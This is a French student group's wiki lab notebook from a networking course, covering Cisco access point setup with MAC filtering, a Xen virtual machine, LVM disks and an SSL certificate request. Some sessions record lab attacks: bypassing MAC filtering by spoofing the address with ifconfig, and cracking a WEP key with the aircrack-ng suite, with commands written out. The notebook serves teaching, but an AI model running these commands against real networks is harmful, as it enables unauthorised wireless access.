Version du 25 novembre 2015 à 15:20

Sommaire

1 Présentation du réseau à mettre en place
2 Cahier des charges de la tâche particulière
- 2.1 Présentation de la tâche particulière
- 2.2 Matériel utilisé pour la tâche particulière
3 Suivi de l'avancement du TP
4 Références

Présentation du réseau à mettre en place

Cahier des charges de la tâche particulière

Présentation de la tâche particulière

La tâche particulière que nous devons effectuer lors de ce projet est la configuration d'un point d'accès Wifi avec filtrage des adresses MAC.

Les différentes étapes à réaliser :

Connexion via le port série au point d'accès Cisco
Configuration pour le réseau insecure
Accès via ethernet
Filtrage des adresses Mac via l'interface web pour chaque binôme de la salle E304

Matériel utilisé pour la tâche particulière

Cisco Aironet 2600

Suivi de l'avancement du TP

Séance 1 (01/10/2015)

Connexion via le port série au point d'accès Cisco
Configuration dans le réseau insecure : ajout de l'adresse IP 172.26.79.10 dans l'interface bvI 1, connexion au réseau de l'école
Accès à l'interface web du Cisco, configuration pour le wifi

Séance 2 (08/10/2015)

Test d'intrusion par changement d'adresse MAC:

Ajout d'un filtre sur l'adresse MAC de l'eeePC => eeePC bloqué
Changement de l'adresse MAC de l'eeePC => eeePC non bloqué

Conclusion: l'accès au réseau n'est pas suffisamment sécurisé lors d'un filtrage sur adresse MAC

Séance 3 (15/10/2015)

Achat du nom de domaine : kasteel.lol
Connexion en root à cordouan.insecserv.deule.net:

   ssh root@cordouan.insecserv.deule.net

Création de la machine:

   xen-create-image --hostname=KASTEEL --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.174 --ip=193.48.57.166
   --netmask=255.255.255.240 --nameserver=193.48.57.48 --genpass=0 --password="mot de passe administrateur habituel"

visualisation des logs de l'installation

   tail -f /var/log/xen-tools/KASTEEL.log

Création du fichier de configuration:

   xl create /etc/xen/KASTEEL.cfg

Lancement de la machine:

   xl console KASTEEL

Séance 4 (22/10/2015)

Ajout d'un SSID:"baguette" au point d'accès Cisco avec un filtrage par adresse MAC de tous les eeePC de la salle E304
Configuration des eeePC pour accès au WiFi:

   fichier:/etc/network/interfaces 
   auto wlan0
   iface wlan0 inet static
       wireless-essid baguette
       address 172.26.79.60
       netmask 255.255.240.0
       gateway 172.26.79.254

   fichier:/etc/resolv.conf
   nameserver 193.48.57.48

Tentative d'intrusion sur le point d'accès de la salle E306 par changement d'adresse MAC de l'eeePC (réussie):

   ifconfig wlan0 down
   ifconfig wlan0 hw ether xx:xx:xx:xx:xx:xx
   ifconfig wlan0 up

Séance 5 (05/11/2015)

Installation des paquets (SSH, Apache et DNS) sur la machine virtuelle.
Création des partitions LVM:

   lvcreate -L 10G -n /dev/virtual/ima5-kasteel-home -v
   lvcreate -L 10G -n /dev/virtual/ima5-kasteel-var -v

Modification du fichier de configuration pour intégrer ces partitions:

   disk        = [
                  'file:/usr/local/xen/domains/KASTEEL/disk.img,xvda2,w',
                  'file:/usr/local/xen/domains/KASTEEL/swap.img,xvda1,w',
                  'phy:/dev/virtual/ima5-kasteel-home,xvdc,w',
                  'phy:/dev/virtual/ima5-kasteel-var,xvdb,w',
                 ]

Séance 6 (12/11/2015)

Réservation du certificat correspondant à kasteel.lol, génération du .csr pour le certificat.

   openssl req -nodes -newkey rsa:2048 -sha256 -keyout kasteel.lol.key -out kasteel.lol.csr

Crackage de clef WEP

Crackage de clef WEP à l'aide de la suite Aircrack-ng

Activation du mode monitor de la carte wifi wlan0:

   airmon-ng start wlan0

On stoppe le network manager et on tue les processus pouvant interférer:

   airmon-ng check kill

Affiche le traffic wifi:

   airodump-ng mon0

Affiche les différents points d'accès sur le canal 7. Le bssid est l'addresse MAC du réseau cracotte06 que nous voulons cracker.

   airodump-ng --essid cracotte06 --write crackage -c 7 --bssid 00:23:5e:1e:05:45 mon0

Sur un autre terminal on lance le crackage de la clé:

   aircrack-ng -l  KEY -s -f 15 crackage-01.cap

Finalement on trouve la clé au bout de 14min25s avec plus de 105997 IVs

Séance 7 (19/11/2015)

Configuration d'apache sur la machine virtuelle

   a2enmod ssl

Références

Information sur le Cisco Aironet

Travaux pratiques de réseau informatique IMA4

http://rex.plil.fr/Enseignement/Reseau/TP.Reseau.IMA4/

Manuel xen-create-image

http://manpages.ubuntu.com/manpages/trusty/man8/xen-create-image.8.html

@@ Ligne 125 : / Ligne 125 : @@
 * Configuration d'apache sur la machine virtuelle
+    a2enmod ssl
 =Références=

Cahier groupe n°6 : Différence entre versions